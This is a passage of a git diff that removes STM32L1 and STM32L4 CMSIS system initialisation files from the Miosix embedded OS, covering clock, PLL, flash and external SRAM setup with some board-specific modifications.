DATA_IN_ExtSRAM */ - -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x0 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -/** - * @} - */ - -/** @addtogroup STM32L1xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L1xx_System_Private_Variables - * @{ - */ - -// Miosix begin -// These defines used to be in stm32l1xx.h -#if !defined (HSE_VALUE) -#define HSE_VALUE ((uint32_t)8000000) /*!< Value of the External oscillator in Hz */ -#endif -#if !defined (HSE_STARTUP_TIMEOUT) -#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) /*!< Time out for HSE start up */ -#endif -#if !defined (HSI_STARTUP_TIMEOUT) -#define HSI_STARTUP_TIMEOUT ((uint16_t)0x0500) /*!< Time out for HSI start up */ -#endif -#if !defined (HSI_VALUE) -#define HSI_VALUE ((uint32_t)16000000) /*!< Value of the Internal High Speed oscillator in Hz. - The real value may vary depending on the variations - in voltage and temperature. */ -#endif -// Miosix end - -//By TFT: we want to run the ALS_MAINBOARD at a lower clock to save power -#ifdef _BOARD_ALS_MAINBOARD -uint32_t SystemCoreClock = 16000000; -#else //_BOARD_ALS_MAINBOARD -uint32_t SystemCoreClock = 32000000; -#endif //_BOARD_ALS_MAINBOARD -const uint8_t PLLMulTable[9] = {3, 4, 6, 8, 12, 16, 24, 32, 48}; -const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; - -/** - * @} - */ - -/** @addtogroup STM32L1xx_System_Private_FunctionPrototypes - * @{ - */ - -static void SetSysClock(void); -#ifdef DATA_IN_ExtSRAM - static void SystemInit_ExtMemCtl(void); -#endif /* DATA_IN_ExtSRAM */ - -/** - * @} - */ - -/** @addtogroup STM32L1xx_System_Private_Functions - * @{ - */ - -extern void _ZN6miosix7delayUsEj(unsigned int useconds); - -/** - * @brief Setup the microcontroller system. - * Initialize the Embedded Flash Interface, the PLL and update the - * SystemCoreClock variable. - * @param None - * @retval None - */ -void SystemInit (void) -{ - //By TFT: additional config for ALS_MAINBOARD - #ifdef _BOARD_ALS_MAINBOARD - - FLASH->ACR |= FLASH_ACR_ACC64; - FLASH->ACR |= FLASH_ACR_PRFTEN; - - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - - /* Select the Voltage Range 1 (1.8 V) */ - PWR->CR = PWR_CR_VOS_0; - - /* Wait Until the Voltage Regulator is ready */ - while((PWR->CSR & PWR_CSR_VOSF) != RESET) - { - } - - //For low power reasons, this board runs off of the HSI 16MHz oscillator - RCC->CR |= RCC_CR_HSION; - //We should wait at least 6us for the HSI to stabilize. Therefore we wait - //8us. However, the current clock is 2MHs (MSI) instead of 16, so ... - //This is a dirty trick to call a C++ function from C, use the mangled name - _ZN6miosix7delayUsEj(8*2/16); - RCC->CFGR = 0x00000001; //Select HSI - while((RCC->CFGR & 0xc)!=0x4) ; - RCC->CR &= ~RCC_CR_MSION; - /*!< Disable all interrupts */ - RCC->CIR = 0x00000000; - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH. */ - return; - #endif //_BOARD_ALS_MAINBOARD - - /*!< Set MSION bit */ - RCC->CR |= (uint32_t)0x00000100; - - /*!< Reset SW[1:0], HPRE[3:0], PPRE1[2:0], PPRE2[2:0], MCOSEL[2:0] and MCOPRE[2:0] bits */ - RCC->CFGR &= (uint32_t)0x88FFC00C; - - /*!< Reset HSION, HSEON, CSSON and PLLON bits */ - RCC->CR &= (uint32_t)0xEEFEFFFE; - - /*!< Reset HSEBYP bit */ - RCC->CR &= (uint32_t)0xFFFBFFFF; - - /*!< Reset PLLSRC, PLLMUL[3:0] and PLLDIV[1:0] bits */ - RCC->CFGR &= (uint32_t)0xFF02FFFF; - - /*!< Disable all interrupts */ - RCC->CIR = 0x00000000; - -#ifdef DATA_IN_ExtSRAM - SystemInit_ExtMemCtl(); -#endif /* DATA_IN_ExtSRAM */ - - /* Configure the System clock frequency, AHB/APBx prescalers and Flash settings */ - SetSysClock(); - -#ifdef VECT_TAB_SRAM - SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM. */ -#else - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH. */ -#endif -} - -/** - * @brief Update SystemCoreClock according to Clock Register Values - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is MSI, SystemCoreClock will contain the MSI - * value as defined by the MSI range. - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32l1xx.h file (default value - * 16 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32l1xx.h file (default value - * 8 MHz), user has to ensure that HSE_VALUE is same as the real - * frequency of the crystal used. Otherwise, this function may - * have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * @param None - * @retval None - */ -void SystemCoreClockUpdate (void) -{ - uint32_t tmp = 0, pllmul = 0, plldiv = 0, pllsource = 0, msirange = 0; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case 0x00: /* MSI used as system clock */ - msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE) >> 13; - SystemCoreClock = (32768 * (1 << (msirange + 1))); - break; - case 0x04: /* HSI used as system clock */ - SystemCoreClock = HSI_VALUE; - break; - case 0x08: /* HSE used as system clock */ - SystemCoreClock = HSE_VALUE; - break; - case 0x0C: /* PLL used as system clock */ - /* Get PLL clock source and multiplication factor ----------------------*/ - pllmul = RCC->CFGR & RCC_CFGR_PLLMUL; - plldiv = RCC->CFGR & RCC_CFGR_PLLDIV; - pllmul = PLLMulTable[(pllmul >> 18)]; - plldiv = (plldiv >> 22) + 1; - - pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; - - if (pllsource == 0x00) - { - /* HSI oscillator clock selected as PLL clock entry */ - SystemCoreClock = (((HSI_VALUE) * pllmul) / plldiv); - } - else - { - /* HSE selected as PLL clock entry */ - SystemCoreClock = (((HSE_VALUE) * pllmul) / plldiv); - } - break; - default: /* MSI used as system clock */ - msirange = (RCC->ICSCR & RCC_ICSCR_MSIRANGE) >> 13; - SystemCoreClock = (32768 * (1 << (msirange + 1))); - break; - } - /* Compute HCLK clock frequency --------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK clock frequency */ - SystemCoreClock >>= tmp; -} - -/** - * @brief Configures the System clock frequency, AHB/APBx prescalers and Flash - * settings. - * @note This function should be called only once the RCC clock configuration - * is reset to the default reset state (done in SystemInit() function). - * @param None - * @retval None - */ -static void SetSysClock(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable 64-bit access */ - FLASH->ACR |= FLASH_ACR_ACC64; - - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash 1 wait state */ - FLASH->ACR |= FLASH_ACR_LATENCY; - - /* Power enable */ - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - /* Select the Voltage Range 1 (1.8 V) */ - PWR->CR = PWR_CR_VOS_0; - - /* Wait Until the Voltage Regulator is ready */ - while((PWR->CSR & PWR_CSR_VOSF) != RESET) - { - } - - /* HCLK = SYSCLK /1*/ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK /1*/ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK /1*/ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* PLL configuration */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLMUL | - RCC_CFGR_PLLDIV)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_HSE | RCC_CFGR_PLLMUL12 | RCC_CFGR_PLLDIV3); - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)RCC_CFGR_SWS_PLL) - { - } - } - else - { - /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#ifdef DATA_IN_ExtSRAM -/** - * @brief Setup the external memory controller. - * Called in SystemInit() function before jump to main. - * This function configures the external SRAM mounted on STM32L152D_EVAL board - * This SRAM will be used as program data memory (including heap and stack). - * @param None - * @retval None - */ -void SystemInit_ExtMemCtl(void) -{ -/*-- GPIOs Configuration -----------------------------------------------------*/ -/* - +-------------------+--------------------+------------------+------------------+ - + SRAM pins assignment + - +-------------------+--------------------+------------------+------------------+ - | PD0 <-> FSMC_D2 | PE0 <-> FSMC_NBL0 | PF0 <-> FSMC_A0 | PG0 <-> FSMC_A10 | - | PD1 <-> FSMC_D3 | PE1 <-> FSMC_NBL1 | PF1 <-> FSMC_A1 | PG1 <-> FSMC_A11 | - | PD4 <-> FSMC_NOE | PE7 <-> FSMC_D4 | PF2 <-> FSMC_A2 | PG2 <-> FSMC_A12 | - | PD5 <-> FSMC_NWE | PE8 <-> FSMC_D5 | PF3 <-> FSMC_A3 | PG3 <-> FSMC_A13 | - | PD8 <-> FSMC_D13 | PE9 <-> FSMC_D6 | PF4 <-> FSMC_A4 | PG4 <-> FSMC_A14 | - | PD9 <-> FSMC_D14 | PE10 <-> FSMC_D7 | PF5 <-> FSMC_A5 | PG5 <-> FSMC_A15 | - | PD10 <-> FSMC_D15 | PE11 <-> FSMC_D8 | PF12 <-> FSMC_A6 | PG10<-> FSMC_NE2 | - | PD11 <-> FSMC_A16 | PE12 <-> FSMC_D9 | PF13 <-> FSMC_A7 |------------------+ - | PD12 <-> FSMC_A17 | PE13 <-> FSMC_D10 | PF14 <-> FSMC_A8 | - | PD13 <-> FSMC_A18 | PE14 <-> FSMC_D11 | PF15 <-> FSMC_A9 | - | PD14 <-> FSMC_D0 | PE15 <-> FSMC_D12 |------------------+ - | PD15 <-> FSMC_D1 |--------------------+ - +-------------------+ -*/ - - /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ - RCC->AHBENR = 0x000080D8; - RCC_SYNC(); - /* Connect PDx pins to FSMC Alternate function */ - GPIOD->AFR[0] = 0x00CC00CC; - GPIOD->AFR[1] = 0xCCCCCCCC; - /* Configure PDx pins in Alternate function mode */ - GPIOD->MODER = 0xAAAA0A0A; - /* Configure PDx pins speed to 40 MHz */ - GPIOD->OSPEEDR = 0xFFFF0F0F; - /* Configure PDx pins Output type to push-pull */ - GPIOD->OTYPER = 0x00000000; - /* No pull-up, pull-down for PDx pins */ - GPIOD->PUPDR = 0x00000000; - - /* Connect PEx pins to FSMC Alternate function */ - GPIOE->AFR[0] = 0xC00000CC; - GPIOE->AFR[1] = 0xCCCCCCCC; - /* Configure PEx pins in Alternate function mode */ - GPIOE->MODER = 0xAAAA800A; - /* Configure PEx pins speed to 40 MHz */ - GPIOE->OSPEEDR = 0xFFFFC00F; - /* Configure PEx pins Output type to push-pull */ - GPIOE->OTYPER = 0x00000000; - /* No pull-up, pull-down for PEx pins */ - GPIOE->PUPDR = 0x00000000; - - /* Connect PFx pins to FSMC Alternate function */ - GPIOF->AFR[0] = 0x00CCCCCC; - GPIOF->AFR[1] = 0xCCCC0000; - /* Configure PFx pins in Alternate function mode */ - GPIOF->MODER = 0xAA000AAA; - /* Configure PFx pins speed to 40 MHz */ - GPIOF->OSPEEDR = 0xFF000FFF; - /* Configure PFx pins Output type to push-pull */ - GPIOF->OTYPER = 0x00000000; - /* No pull-up, pull-down for PFx pins */ - GPIOF->PUPDR = 0x00000000; - - /* Connect PGx pins to FSMC Alternate function */ - GPIOG->AFR[0] = 0x00CCCCCC; - GPIOG->AFR[1] = 0x00000C00; - /* Configure PGx pins in Alternate function mode */ - GPIOG->MODER = 0x00200AAA; - /* Configure PGx pins speed to 40 MHz */ - GPIOG->OSPEEDR = 0x00300FFF; - /* Configure PGx pins Output type to push-pull */ - GPIOG->OTYPER = 0x00000000; - /* No pull-up, pull-down for PGx pins */ - GPIOG->PUPDR = 0x00000000; - -/*-- FSMC Configuration ------------------------------------------------------*/ - /* Enable the FSMC interface clock */ - RCC->AHBENR = 0x400080D8; - RCC_SYNC(); - /* Configure and enable Bank1_SRAM3 */ - FSMC_Bank1->BTCR[4] = 0x00001011; - FSMC_Bank1->BTCR[5] = 0x00000300; - FSMC_Bank1E->BWTR[4] = 0x0FFFFFFF; -/* - Bank1_SRAM3 is configured as follow: - - p.FSMC_AddressSetupTime = 0; - p.FSMC_AddressHoldTime = 0; - p.FSMC_DataSetupTime = 3; - p.FSMC_BusTurnAroundDuration = 0; - p.FSMC_CLKDivision = 0; - p.FSMC_DataLatency = 0; - p.FSMC_AccessMode = FSMC_AccessMode_A; - - FSMC_NORSRAMInitStructure.FSMC_Bank = FSMC_Bank1_NORSRAM3; - FSMC_NORSRAMInitStructure.FSMC_DataAddressMux = FSMC_DataAddressMux_Disable; - FSMC_NORSRAMInitStructure.FSMC_MemoryType = FSMC_MemoryType_SRAM; - FSMC_NORSRAMInitStructure.FSMC_MemoryDataWidth = FSMC_MemoryDataWidth_16b; - FSMC_NORSRAMInitStructure.FSMC_BurstAccessMode = FSMC_BurstAccessMode_Disable; - FSMC_NORSRAMInitStructure.FSMC_AsynchronousWait = FSMC_AsynchronousWait_Disable; - FSMC_NORSRAMInitStructure.FSMC_WaitSignalPolarity = FSMC_WaitSignalPolarity_Low; - FSMC_NORSRAMInitStructure.FSMC_WrapMode = FSMC_WrapMode_Disable; - FSMC_NORSRAMInitStructure.FSMC_WaitSignalActive = FSMC_WaitSignalActive_BeforeWaitState; - FSMC_NORSRAMInitStructure.FSMC_WriteOperation = FSMC_WriteOperation_Enable; - FSMC_NORSRAMInitStructure.FSMC_WaitSignal = FSMC_WaitSignal_Disable; - FSMC_NORSRAMInitStructure.FSMC_ExtendedMode = FSMC_ExtendedMode_Disable; - FSMC_NORSRAMInitStructure.FSMC_WriteBurst = FSMC_WriteBurst_Disable; - FSMC_NORSRAMInitStructure.FSMC_ReadWriteTimingStruct = &p; - FSMC_NORSRAMInitStructure.FSMC_WriteTimingStruct = &p; - - FSMC_NORSRAMInit(&FSMC_NORSRAMInitStructure); - - FSMC_NORSRAMCmd(FSMC_Bank1_NORSRAM3, ENABLE); -*/ - -} -#endif /* DATA_IN_ExtSRAM */ - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.c deleted file mode 100644 index 0e10e7429..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.c +++ /dev/null @@ -1,1016 +0,0 @@ -// -// NOTE: this file contains some modifications by Silvano Seva (silseva) to make -// available system clock frequencies greater than 4MHz -// - -/** - ****************************************************************************** - * @file system_stm32l4xx.c - * @author MCD Application Team - * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File - * - * This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32l4xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * After each device reset the MSI (4 MHz) is used as system clock source. - * Then SystemInit() function is called, in "startup_stm32l4xx.s" file, to - * configure the system clock before to branch to main program. - * - * This file configures the system clock as follows: - *============================================================================= - *----------------------------------------------------------------------------- - * System Clock source | MSI - *----------------------------------------------------------------------------- - * SYSCLK(Hz) | 4000000 - *----------------------------------------------------------------------------- - * HCLK(Hz) | 4000000 - *----------------------------------------------------------------------------- - * AHB Prescaler | 1 - *----------------------------------------------------------------------------- - * APB1 Prescaler | 1 - *----------------------------------------------------------------------------- - * APB2 Prescaler | 1 - *----------------------------------------------------------------------------- - * PLL_M | 1 - *----------------------------------------------------------------------------- - * PLL_N | 8 - *----------------------------------------------------------------------------- - * PLL_P | 7 - *----------------------------------------------------------------------------- - * PLL_Q | 2 - *----------------------------------------------------------------------------- - * PLL_R | 2 - *----------------------------------------------------------------------------- - * PLLSAI1_P | NA - *----------------------------------------------------------------------------- - * PLLSAI1_Q | NA - *----------------------------------------------------------------------------- - * PLLSAI1_R | NA - *----------------------------------------------------------------------------- - * PLLSAI2_P | NA - *----------------------------------------------------------------------------- - * PLLSAI2_Q | NA - *----------------------------------------------------------------------------- - * PLLSAI2_R | NA - *----------------------------------------------------------------------------- - * Require 48MHz for USB OTG FS, | Disabled - * SDIO and RNG clock | - *----------------------------------------------------------------------------- - *============================================================================= - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2017 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Apache License, Version 2.0, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/Apache-2.0 - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32l4xx_system - * @{ - */ - -/** @addtogroup STM32L4xx_System_Private_Includes - * @{ - */ - -#include - -//By Silvano Seva: was #include "stm32l4xx.h" -#include "interfaces/arch_registers.h" - -//We use HSE_VALUE to decide whether to run with HSE or not, so don't force it -// #if !defined (HSE_VALUE) -// #define HSE_VALUE 8000000U /*!< Value of the External oscillator in Hz */ -// #endif /* HSE_VALUE */ - -#if !defined (MSI_VALUE) - #define MSI_VALUE 4000000U /*!< Value of the Internal oscillator in Hz*/ -#endif /* MSI_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE 16000000U /*!< Value of the Internal oscillator in Hz*/ -#endif /* HSI_VALUE */ - -// Added by silseva -#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) - -/** - * @} - */ - -/** @addtogroup STM32L4xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L4xx_System_Private_Defines - * @{ - */ - -/************************* Miscellaneous Configuration ************************/ -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x00 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -/******************************************************************************/ -/** - * @} - */ - -/** @addtogroup STM32L4xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32L4xx_System_Private_Variables - * @{ - */ - /* The SystemCoreClock variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ - - // Added by silseva - #if defined(SYSCLK_FREQ_24MHz) - uint32_t SystemCoreClock = SYSCLK_FREQ_24MHz; /*!< System Clock Frequency (Core Clock) */ - #elif defined(SYSCLK_FREQ_36MHz) - uint32_t SystemCoreClock = SYSCLK_FREQ_36MHz; /*!< System Clock Frequency (Core Clock) */ - #elif defined(SYSCLK_FREQ_48MHz) - uint32_t SystemCoreClock = SYSCLK_FREQ_48MHz; /*!< System Clock Frequency (Core Clock) */ - #elif defined(SYSCLK_FREQ_56MHz) - uint32_t SystemCoreClock = SYSCLK_FREQ_56MHz; /*!< System Clock Frequency (Core Clock) */ - #elif defined(SYSCLK_FREQ_80MHz) - uint32_t SystemCoreClock = SYSCLK_FREQ_80MHz; /*!< System Clock Frequency (Core Clock) */ - #elif defined(HSE_VALUE) - uint32_t SystemCoreClock = HSE_VALUE; /*!< System Clock Frequency (Core Clock) */ - #elif defined(RUN_WITH_HSI) - uint32_t SystemCoreClock = HSI_VALUE; /*!< System Clock Frequency (Core Clock) */ - #elif defined(RUN_WITH_MSI) - uint32_t SystemCoreClock = MSI_VALUE; /*!< System Clock Frequency (Core Clock) */ - #else - #error Clock not configured - #endif - - //uint32_t SystemCoreClock = 4000000U; - - const uint8_t AHBPrescTable[16] = {0U, 0U, 0U, 0U, 0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U, 6U, 7U, 8U, 9U}; - const uint8_t APBPrescTable[8] = {0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U}; - const uint32_t MSIRangeTable[12] = {100000U, 200000U, 400000U, 800000U, 1000000U, 2000000U, \ - 4000000U, 8000000U, 16000000U, 24000000U, 32000000U, 48000000U}; -/** - * @} - */ - -/** @addtogroup STM32L4xx_System_Private_FunctionPrototypes - * @{ - */ - -// Added by silseva -static void SetSysClock(void); - -#if defined(SYSCLK_FREQ_24MHz) - static void SetSysClockTo24(void); -#elif defined(SYSCLK_FREQ_36MHz) - static void SetSysClockTo36(void); -#elif defined(SYSCLK_FREQ_48MHz) - static void SetSysClockTo48(void); -#elif defined(SYSCLK_FREQ_56MHz) - static void SetSysClockTo56(void); -#elif defined(SYSCLK_FREQ_80MHz) - static void SetSysClockTo80(void); -#elif defined(HSE_VALUE) - static void SetSysClockToHSE(void); -#endif - -/** - * @} - */ - -/** @addtogroup STM32L4xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system. - * @param None - * @retval None - */ - -void SystemInit(void) -{ - /* FPU settings ------------------------------------------------------------*/ - #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) - SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ - #endif - - /* Reset the RCC clock configuration to the default reset state ------------*/ - /* Set MSION bit */ - RCC->CR |= RCC_CR_MSION; - - /* Reset CFGR register */ - RCC->CFGR = 0x00000000U; - - /* Reset HSEON, CSSON , HSION, and PLLON bits */ - RCC->CR &= 0xEAF6FFFFU; - - /* Reset PLLCFGR register */ - RCC->PLLCFGR = 0x00001000U; - - /* Reset HSEBYP bit */ - RCC->CR &= 0xFFFBFFFFU; - - /* Disable all interrupts */ - RCC->CIER = 0x00000000U; - - /* By silseva: - * Configure the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers - * Configure the Flash Latency cycles and enable prefetch buffer */ - SetSysClock(); - - /* Configure the Vector Table location add offset address ------------------*/ -#ifdef VECT_TAB_SRAM - SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ -#else - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ -#endif -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is MSI, SystemCoreClock will contain the MSI_VALUE(*) - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(**) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(***) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(***) - * or HSI_VALUE(*) or MSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) MSI_VALUE is a constant defined in stm32l4xx_hal.h file (default value - * 4 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSI_VALUE is a constant defined in stm32l4xx_hal.h file (default value - * 16 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (***) HSE_VALUE is a constant defined in stm32l4xx_hal.h file (default value - * 8 MHz), user has to ensure that HSE_VALUE is same as the real - * frequency of the crystal used. Otherwise, this function may - * have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * - * @param None - * @retval None - */ -void SystemCoreClockUpdate(void) -{ - uint32_t tmp = 0U, msirange = 0U, pllvco = 0U, pllr = 2U, pllsource = 0U, pllm = 2U; - - /* Get MSI Range frequency--------------------------------------------------*/ - if((RCC->CR & RCC_CR_MSIRGSEL) == RESET) - { /* MSISRANGE from RCC_CSR applies */ - msirange = (RCC->CSR & RCC_CSR_MSISRANGE) >> 8U; - } - else - { /* MSIRANGE from RCC_CR applies */ - msirange = (RCC->CR & RCC_CR_MSIRANGE) >> 4U; - } - /*MSI frequency range in HZ*/ - msirange = MSIRangeTable[msirange]; - - /* Get SYSCLK source -------------------------------------------------------*/ - switch (RCC->CFGR & RCC_CFGR_SWS) - { - case 0x00: /* MSI used as system clock source */ - SystemCoreClock = msirange; - break; - - case 0x04: /* HSI used as system clock source */ - SystemCoreClock = HSI_VALUE; - break; - -#ifdef HSE_VALUE - case 0x08: /* HSE used as system clock source */ - SystemCoreClock = HSE_VALUE; - break; -#endif - - case 0x0C: /* PLL used as system clock source */ - /* PLL_VCO = (HSE_VALUE or HSI_VALUE or MSI_VALUE/ PLLM) * PLLN - SYSCLK = PLL_VCO / PLLR - */ - pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC); - pllm = ((RCC->PLLCFGR & RCC_PLLCFGR_PLLM) >> 4U) + 1U ; - - switch (pllsource) - { - case 0x02: /* HSI used as PLL clock source */ - pllvco = (HSI_VALUE / pllm); - break; - -#ifdef HSE_VALUE - case 0x03: /* HSE used as PLL clock source */ - pllvco = (HSE_VALUE / pllm); - break; -#endif - - default: /* MSI used as PLL clock source */ - pllvco = (msirange / pllm); - break; - } - pllvco = pllvco * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 8U); - pllr = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLR) >> 25U) + 1U) * 2U; - SystemCoreClock = pllvco/pllr; - break; - - default: - SystemCoreClock = msirange; - break; - } - /* Compute HCLK clock frequency --------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4U)]; - /* HCLK clock frequency */ - SystemCoreClock >>= tmp; -} - -// Added by silseva - -#ifdef HSE_VALUE - -/** - * @brief Activates HSE oscillator and waits until is ready - * @param None - * @retval 1 if HSE starts, 0 on failure - */ -static uint32_t EnableHSE() -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != 0x0) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - - return HSEStatus; -} - -#elif defined(RUN_WITH_HSI) - -/** - * @brief Activates HSI oscillator and waits until is ready - * @param None - * @retval 1 if HSI starts, 0 on failure - */ -static uint32_t EnableHSI() -{ - __IO uint32_t StartUpCounter = 0, HSIStatus = 0; - - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSION); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSIStatus = RCC->CR & RCC_CR_HSIRDY; - StartUpCounter++; - } while((HSIStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSIRDY) != 0x0) - { - HSIStatus = (uint32_t)0x01; - } - else - { - HSIStatus = (uint32_t)0x00; - } - - return HSIStatus; -} - -#endif //RUN_WITH_HSI - - -/** - * @brief Configures the System clock frequency, HCLK, PCLK2 and 